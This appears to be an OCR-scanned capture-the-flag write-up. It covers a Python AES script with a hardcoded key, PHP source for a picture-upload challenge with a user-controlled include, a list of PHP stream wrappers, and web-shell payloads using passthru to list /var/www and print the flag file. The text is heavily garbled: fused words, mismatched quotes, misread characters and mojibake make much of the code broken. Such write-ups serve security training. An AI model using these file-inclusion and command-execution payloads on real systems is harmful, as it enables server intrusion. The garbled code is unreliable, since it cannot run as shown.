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cat function.py:

#!/usr/bin/env python
# coding:utf-8

__author__ = 'Aklis'

from Crypto import Random

fromCrypto.Cipher import AES

import sys

import base64

def decrypt(encrypted, passphrase):
IV = encrypted[:16]
aes = AES.new(passphrase, AES.MODE_CBC, IV)

returnaes.decrypt(encrypted[16:])
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def encrypt(message, passphrase):
IV = message[:16]
length = 16
count = len(message)
padding = length - (count % length)
message = message + '\@' * padding
aes = AES.new(passphrase, AES.MODE_CBC, IV)

returnaes.encrypt(message)

IV = "YUFHIKVWEASDGQDH'

message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}"

printlen(message)

example = encrypt(message, 'QgdwdrhhyEWe4qBF")
print example
example = decrypt(example, 'QgdwdrhhyEWedqBF")

print example

cat flag:
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home.php

<?php

error_reporting(®);

@session_start();

posix_setuid(1000);

$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];

if(preg_match('/\.\./"',$fp))

die('No No No!');

if(preg_match('/rm/i',$_SERVER["QUERY_STRING"]))

die();

?>

<!DOCTYPE html>

<html>

<head>
<title></title>
<metacharset="utf-8">
<linkhref="css/bootstrap.min.css" rel="stylesheet">
<linkhref="css/jumbotron-narrow.css" rel="stylesheet">

</head>

<body>

<divclass="container">
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<divclass="header clearfix">

<nav>

<ulclass="navnav-pills pull-right">

<lirole="presentation" class="active"><ahref="home.php?k

</ul>

</nav>

<h3class="text-muted">pictures</h3>

</div>

<divclass="jumbotron">

<h1>PicturesStorage</h1l>

<pclass="1lead">TEX B FAEEHE ), AT NIERATE</ p>

<formaction="?fp=upload" method="POST" id="form"enctype="multipart/form-da

<inputtype="file" id="image" name="image"class="btnbtn-1lgbtn-succ

<br>

<inputtype="submit" id="submit" name="submit"class="btnbtn-1lgbtn-

</form>
</div>
</div>
</body>
</html>
<?php
if($fp !== 'fail')
{

if(!(include($fp.".php')))

?>

<divclass="alert alert-danger" role="alert">i&#f M H</div>

<?php
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?>

upload.php

<?php

include 'function.php';

if(isset($_POST['submit']) &&!empty($_FILES['image'][ 'tmp_name']))

$name =$_FILES['image']['tmp_name'];

$type =$_FILES['image']["'type'];

$size =$_FILES['image']['size'];

if(!is_uploaded_file($name))

{
?>
<divclass="alert alert-danger" role="alert">[&} b5, EEH Lik</div>
<?php
exit;
}
if($type !== 'image/png')
{
?>

<divclass="alert alert-danger" role="alert">H &t F/&PNGE H</div>

<?php

exit;



if($size > 10240)

{
?>
<div class="alert alert-danger"role="alert">[ /i K/NBif10KB</div>
<?php
exit;
}

$imagekey =create_imagekey();

move_uploaded_file($name, "uploads/$imagekey.png");

echo"<script>location.href="?fp=show&imagekey=$imagekey'</script>";

?>

show. php
<?php
$imagekey = $_GET['imagekey'];

if(empty($imagekey))

echo"<script>location.href="home.php'</script>";

exit;

?>
<div class="alert alert-success"role="alert">
T ALRT, <ahref="uploads/<?php echo $imagekey; ?>.png"class="alert-link">sk&E</a>

</div>



function.php
<?php
functioncreate_imagekey()

{

returnshal($_SERVER[ 'REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() .mt_rand());

?>
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file:// — Accessing localfilesystem
http:// — AccessingHTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
php:// — Accessing various /O streams
zlib:// — Compression Streams
data:// — Data (RFC 2397)
glob:// — Find pathnames matching pattern
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
0gg:// — Audio streams
expect:// — Process Interaction Streams
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<?php echo passthru(ls /variwww'); ?>

IThls_1s_F1a9php html

HAphpXft, &

<?php echo passthru('cat /var/www/Th1s_1s_F1a9.php');?>

Congratulations,flag is here. AND then 7
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</poay>

</html>

Congratulations,flag is here. AND then ?
<7?php
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